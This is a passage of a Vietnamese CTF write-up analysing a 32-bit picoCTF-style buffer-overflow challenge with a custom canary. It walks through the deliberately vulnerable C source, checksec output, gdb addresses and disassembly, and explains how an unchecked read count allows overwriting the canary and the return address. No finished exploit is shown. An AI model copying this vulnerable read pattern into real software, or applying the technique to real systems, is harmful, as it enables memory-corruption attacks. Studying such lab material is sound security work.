    setvbuf(stdout, NULL, _IONBF, 0);
64
    setresgid(getegid(), getegid(), getegid());
65

66
    load_canary();
67
    vuln();
68
    return 0;
69
}

Bỏ qua lệnh gọi thư viện, ta xem xét qua những dòng set kích thước cho Buffer (random) , Canary (không thay đổi) và Flagsize (không thay đổi)

1
#define BUFSIZE 334
2
#define CANARY_SIZE 4
3
#define FLAGSIZE 64

Tiếp theo là tạo biến cục bộ global_canary. Sau đó tạo hàm win với việc mở và báo lỗi nếu không có flag, rồi đặt 64bytes kích thước trong file flag.txt vào biến flag và in ra

1
char global_canary[CANARY_SIZE];
2

3
void win() {
4
    char flag[FLAGSIZE];
5
    FILE *f = fopen("CodeBank/flag.txt", "r");
6

7
    if (!f) {
8
        puts("Missing flag.txt.");
9
        exit(0);
10
    }
11

12
    fgets(flag, FLAGSIZE, f);
13
    puts(flag);
14
}

Đến với một hàm quan trọng là load_canary, bỏ qua đoạn check flag, đến với lệnh fread(global_canary, 1, CANARY_SIZE, f);, fread sẽ đọc dữ liệu từ nơi chỉ định đến nơi đích theo một kích thước chỉ định Hiểu thêm về fread.

Như vậy, hàm này sẽ đọc từ biến f(flag) lấy tối đa CANARY_SIZE bytes (4 bytes) vào global_canary, mà flag có 4 bytes đầu là pico nên ta có thể dễ dàng đoán được custom canary của bài này là 4 bytes cho chuỗi pico

1
void load_canary() {
2
    FILE *f = fopen("CodeBank/flag.txt", "r");
3

4
    if (!f) {
5
        puts("Missing flag.txt.");
6
        exit(0);
7
    }
8

9
    fread(global_canary, 1, CANARY_SIZE, f);
10
    fclose(f);
11
}

Tiếp tục đến với hàm vuln, đây là phần tôi tốn nhiều thời gian để đọc hiểu code nhất, hàm này là nơi lỗi sẽ xảy ra, đầu tiên gọi local_canary, buf, input, count và i. Tiếp theo so sánh local_canary và global_canary theo CANARY_SIZE (4) Hiểu về memcpy để check canary trước.

Vòng lặp while ở đây nhìn hơi rối nên tôi sẽ tách từng phần ra để phân tích while (i < BUFSIZE && read(0, &input[i], 1) == 1 && input[i] != '\n')

Đầu tiên là điều kiện: i < BUFSIZE để tránh overflow. tiếp theo lệnh read(0, &input[i], 1) == 1 sử dụng read với tham số đầu là 0 (tức là nhập từ bàn phím) nhập vào mảng tên input ở vị trí i (i ban đầu được cho là 0 và có i++ ở dưới) còn read() == 1 tức là khi hàm này chạy thành công(user nhập input, khi -1 hoặc 0 tức lỗi không nhập hoặc nhập lỗi) Hiểu thêm về read. Điều kiện vòng lặp tiếp tục là input[i] != '\n') tức khi mảng input[i] gặp enter (hoặc \n từ script) sẽ dừng lại

Sau khi vòng lặp nhập lần một xong, nó sẽ chuyển giá trị trong mảng input qua count bằng lệnh sscanf(input, "%d", &count); Hiểu thêm về sscanf. Sau đó dùng lệnh read để đọc giá trị từ bàn phím (mode 0) vào buf với giới hạn kích thước là count. Lỗi Buffer Overflow xảy ra ở đoạn này, khi mà input thứ nhất được đặt làm giới hạn cho input thứ hai, vậy nếu input thứ nhất đặt một giá trị lớn hơn BUFSIZE được khai báo chẳng phải có thể gây lỗi ghi đè bộ nhớ rồi đúng không, các giá trị lớn ghi đè lên các phân vùng bộ nhớ khác và làm thay đổi giá trị của chúng, đè lên return address để chương trình không thoát ngay mà nhảy đến địa chỉ đó thực thi tiếp đến khi gặp lệnh thoát.

Cuối cùng nó sẽ dùng lệnh memcmp để so sánh canary và thoát chương trình

1
void vuln() {
2
    char local_canary[CANARY_SIZE];
3
    char buf[BUFSIZE];
4
    char input[BUFSIZE];
5
    int count, i = 0;
6

7
    memcpy(local_canary, global_canary, CANARY_SIZE);
8

9
    printf("How many bytes?\n> ");
10
    while (i < BUFSIZE && read(0, &input[i], 1) == 1 && input[i] != '\n')
11
        i++;
12

13
    sscanf(input, "%d", &count);
14

15
    printf("Input> ");
16
    read(0, buf, count);
17

18
    if (memcmp(local_canary, global_canary, CANARY_SIZE) != 0) {
19
        puts("***** Stack Smashing Detected *****");
20
        exit(0);
21
    }
22

23
    puts("Ok... Now Where's the flag?");
24
}

Và cuối cùng là hàm main làm một số thao tác set quyền rồi gọi load_canary, vuln rồi exit

1
int main() {
2
    setvbuf(stdout, NULL, _IONBF, 0);
3
    setresgid(getegid(), getegid(), getegid());
4

5
    load_canary();
6
    vuln();
7
    return 0;

#Check bảo mật

Sử dụng lệnh checksec với file thực thi được tạo để xem mitigation của file

1
ctf-player@pico-chall$ checksec 36
2
[*] '/home/ctf-player/36'
3
    Arch:       i386-32-little       -> saved rbp và return address chỉ có 4 bytes
4
    RELRO:      Partial RELRO
5
    Stack:      No canary found      -> Custom canary
6
    NX:         NX enabled
7
    PIE:        No PIE (0x8048000)   -> Không random địa chỉ mỗi phiên chạy -> dễ tính offset
8
    SHSTK:      Enabled
9
    IBT:        Enabled
10
    Stripped:   No

Tạm thời ta có thể chắc chắn rằng bài này có canary là ‘pico’ và sử dụng kiến trúc 32-bit, điều cần thiết nhất bây giờ là địa chỉ của win, offset và vị trí canary trong hệ thống (canary thường đứng trước saved rbp nhưng cũng có thể đặt ở chỗ khác)

#p win

Sau khi mở gdb với file, tôi nhanh chóng dùng p win để xem địa chỉ của hàm và nhận được địa chỉ chính xác là 0x8049316

1
(gdb) p win
2
$1 = {<text variable, no debug info>} 0x8049316 <win>

#load_canary

Tiếp tục đọc code asm của hàm load_canary bằng lệnh disas load_canary tôi nhận được code:

1
Dump of assembler code for function load_canary:
2
   0x08049393 <+0>:     endbr32
3
   0x08049397 <+4>:     push   ebp
4
   0x08049398 <+5>:     mov    ebp,esp
5
   0x0804939a <+7>:     push   ebx
6
   0x0804939b <+8>:     sub    esp,0x14
7
   0x0804939e <+11>:    call   0x8049250 <__x86.get_pc_thunk.bx>
8
   0x080493a3 <+16>:    add    ebx,0x2c5d
9
   0x080493a9 <+22>:    sub    esp,0x8
10
   0x080493ac <+25>:    lea    eax,[ebx-0x1ff8]
11
   0x080493b2 <+31>:    push   eax
12
   0x080493b3 <+32>:    lea    eax,[ebx-0x1ff6]
13
   0x080493b9 <+38>:    push   eax
14
   0x080493ba <+39>:    call   0x80491e0 <fopen@plt>
15
   0x080493bf <+44>:    add    esp,0x10
16
   0x080493c2 <+47>:    mov    DWORD PTR [ebp-0xc],eax
17
   0x080493c5 <+50>:    cmp    DWORD PTR [ebp-0xc],0x0
18
   0x080493c9 <+54>:    jne    0x80493e7 <load_canary+84>
19
   0x080493cb <+56>:    sub    esp,0xc
20
   0x080493ce <+59>:    lea    eax,[ebx-0x1fe4]
21
   0x080493d4 <+65>:    push   eax
22
   0x080493d5 <+66>:    call   0x8049190 <puts@plt>
23
   0x080493da <+71>:    add    esp,0x10
24
   0x080493dd <+74>:    sub    esp,0xc
25
   0x080493e0 <+77>:    push   0x0
26
   0x080493e2 <+79>:    call   0x80491a0 <exit@plt>
27
   0x080493e7 <+84>:    push   DWORD PTR [ebp-0xc]
28
   0x080493ea <+87>:    push   0x4
29
   0x080493ec <+89>:    push   0x1
30
   0x080493ee <+91>:    mov    eax,0x804c050
31
   0x080493f4 <+97>:    push   eax
32
   0x080493f5 <+98>:    call   0x8049180 <fread@plt>
33
   0x080493fa <+103>:   add    esp,0x10
34
   0x080493fd <+106>:   sub    esp,0xc
35
   0x08049400 <+109>:   push   DWORD PTR [ebp-0xc]
36
   0x08049403 <+112>:   call   0x8049150 <fclose@plt>
37
   0x08049408 <+117>:   add    esp,0x10
38
   0x0804940b <+120>:   nop
39
   0x0804940c <+121>:   mov    ebx,DWORD PTR [ebp-0x4]
40
   0x0804940f <+124>:   leave
41
   0x08049410 <+125>:   ret

vì phần quan trọng của hàm này nằm ở hàm fread nên tôi sẽ chỉ tìm lệnh call hàm đó thôi. Bạn có thấy lệnh mov eax,0x804c050 chứ, đó là lệnh đặt địa chỉ của global_canary vào eax đó, sau đó khi call fread nó sẽ xử lí các số liệu theo những cái được set up trước đó

1
   0x080493ea <+87>:    push   0x4
2
   0x080493ec <+89>:    push   0x1
3
   0x080493ee <+91>:    mov    eax,0x804c050
4
   0x080493f4 <+97>:    push   eax
5
   0x080493f5 <+98>:    call   0x8049180 <fread@plt>

#vuln

Giờ khám vuln nhé, phần này chứa offset và vị trí của canary trong bài

1
Dump of assembler code for function vuln:
2
   0x08049411 <+0>:     endbr32
3
   0x08049415 <+4>:     push   ebp
4
   0x08049416 <+5>:     mov    ebp,esp
5
   0x08049418 <+7>:     push   ebx
6
   0x08049419 <+8>:     sub    esp,0x2b4
7
   0x0804941f <+14>:    call   0x8049250 <__x86.get_pc_thunk.bx>
8
   0x08049424 <+19>:    add    ebx,0x2bdc
9
   0x0804942a <+25>:    mov    DWORD PTR [ebp-0xc],0x0
10
   0x08049431 <+32>:    mov    eax,0x804c050
11
   0x08049437 <+38>:    mov    eax,DWORD PTR [eax]
12
   0x08049439 <+40>:    mov    DWORD PTR [ebp-0x10],eax
13
   0x0804943c <+43>:    sub    esp,0xc
14
   0x0804943f <+46>:    lea    eax,[ebx-0x1fd2]
15
   0x08049445 <+52>:    push   eax
16
   0x08049446 <+53>:    call   0x8049130 <printf@plt>
17
   0x0804944b <+58>:    add    esp,0x10
18
   0x0804944e <+61>:    jmp    0x8049454 <vuln+67>
19
   0x08049450 <+63>:    add    DWORD PTR [ebp-0xc],0x1
20
   0x08049454 <+67>:    cmp    DWORD PTR [ebp-0xc],0x14d
21
   0x0804945b <+74>:    jg     0x804948f <vuln+126>
22
   0x0804945d <+76>:    lea    edx,[ebp-0x2ac]
23
   0x08049463 <+82>:    mov    eax,DWORD PTR [ebp-0xc]
24
   0x08049466 <+85>:    add    eax,edx
25
   0x08049468 <+87>:    sub    esp,0x4
26
   0x0804946b <+90>:    push   0x1
27
   0x0804946d <+92>:    push   eax
28
   0x0804946e <+93>:    push   0x0
29
   0x08049470 <+95>:    call   0x8049120 <read@plt>
30
   0x08049475 <+100>:   add    esp,0x10
31
   0x08049478 <+103>:   cmp    eax,0x1
32
   0x0804947b <+106>:   jne    0x804948f <vuln+126>
33
   0x0804947d <+108>:   lea    edx,[ebp-0x2ac]
34
   0x08049483 <+114>:   mov    eax,DWORD PTR [ebp-0xc]
35
   0x08049486 <+117>:   add    eax,edx
36
   0x08049488 <+119>:   movzx  eax,BYTE PTR [eax]
37
   0x0804948b <+122>:   cmp    al,0xa
38
   0x0804948d <+124>:   jne    0x8049450 <vuln+63>
39
   0x0804948f <+126>:   sub    esp,0x4
40
   0x08049492 <+129>:   lea    eax,[ebp-0x2b0]
41
   0x08049498 <+135>:   push   eax
42
   0x08049499 <+136>:   lea    eax,[ebx-0x1fbf]
43
   0x0804949f <+142>:   push   eax
44
   0x080494a0 <+143>:   lea    eax,[ebp-0x2ac]
45
   0x080494a6 <+149>:   push   eax
46
   0x080494a7 <+150>:   call   0x80491c0 <__isoc99_sscanf@plt>
47
   0x080494ac <+155>:   add    esp,0x10
48
   0x080494af <+158>:   sub    esp,0xc
49
   0x080494b2 <+161>:   lea    eax,[ebx-0x1fbc]
50
   0x080494b8 <+167>:   push   eax
51
   0x080494b9 <+168>:   call   0x8049130 <printf@plt>
52
   0x080494be <+173>:   add    esp,0x10
53
   0x080494c1 <+176>:   mov    eax,DWORD PTR [ebp-0x2b0]
54
   0x080494c7 <+182>:   sub    esp,0x4
55
   0x080494ca <+185>:   push   eax
56
   0x080494cb <+186>:   lea    eax,[ebp-0x15e]
57
   0x080494d1 <+192>:   push   eax
58
   0x080494d2 <+193>:   push   0x0
59
   0x080494d4 <+195>:   call   0x8049120 <read@plt>
60
   0x080494d9 <+200>:   add    esp,0x10
61
   0x080494dc <+203>:   sub    esp,0x4
62
   0x080494df <+206>:   push   0x4
63
   0x080494e1 <+208>:   mov    eax,0x804c050
64
   0x080494e7 <+214>:   push   eax
65
   0x080494e8 <+215>:   lea    eax,[ebp-0x10]
66
   0x080494eb <+218>:   push   eax
67
   0x080494ec <+219>:   call   0x8049160 <memcmp@plt>
68
   0x080494f1 <+224>:   add    esp,0x10
69
   0x080494f4 <+227>:   test   eax,eax
70
   0x080494f6 <+229>:   je     0x8049514 <vuln+259>
71
   0x080494f8 <+231>:   sub    esp,0xc
72
   0x080494fb <+234>:   lea    eax,[ebx-0x1fb4]
73
   0x08049501 <+240>:   push   eax
74
   0x08049502 <+241>:   call   0x8049190 <puts@plt>
75
   0x08049507 <+246>:   add    esp,0x10
76
   0x0804950a <+249>:   sub    esp,0xc
77
   0x0804950d <+252>:   push   0x0
78
   0x0804950f <+254>:   call   0x80491a0 <exit@plt>
79
   0x08049514 <+259>:   sub    esp,0xc
80
   0x08049517 <+262>:   lea    eax,[ebx-0x1f90]
81
   0x0804951d <+268>:   push   eax
82
   0x0804951e <+269>:   call   0x8049190 <puts@plt>
83
   0x08049523 <+274>:   add    esp,0x10
84
   0x08049526 <+277>:   nop
85
   0x08049527 <+278>:   mov    ebx,DWORD PTR [ebp-0x4]
86
   0x0804952a <+281>:   leave
87
   0x0804952b <+282>:   ret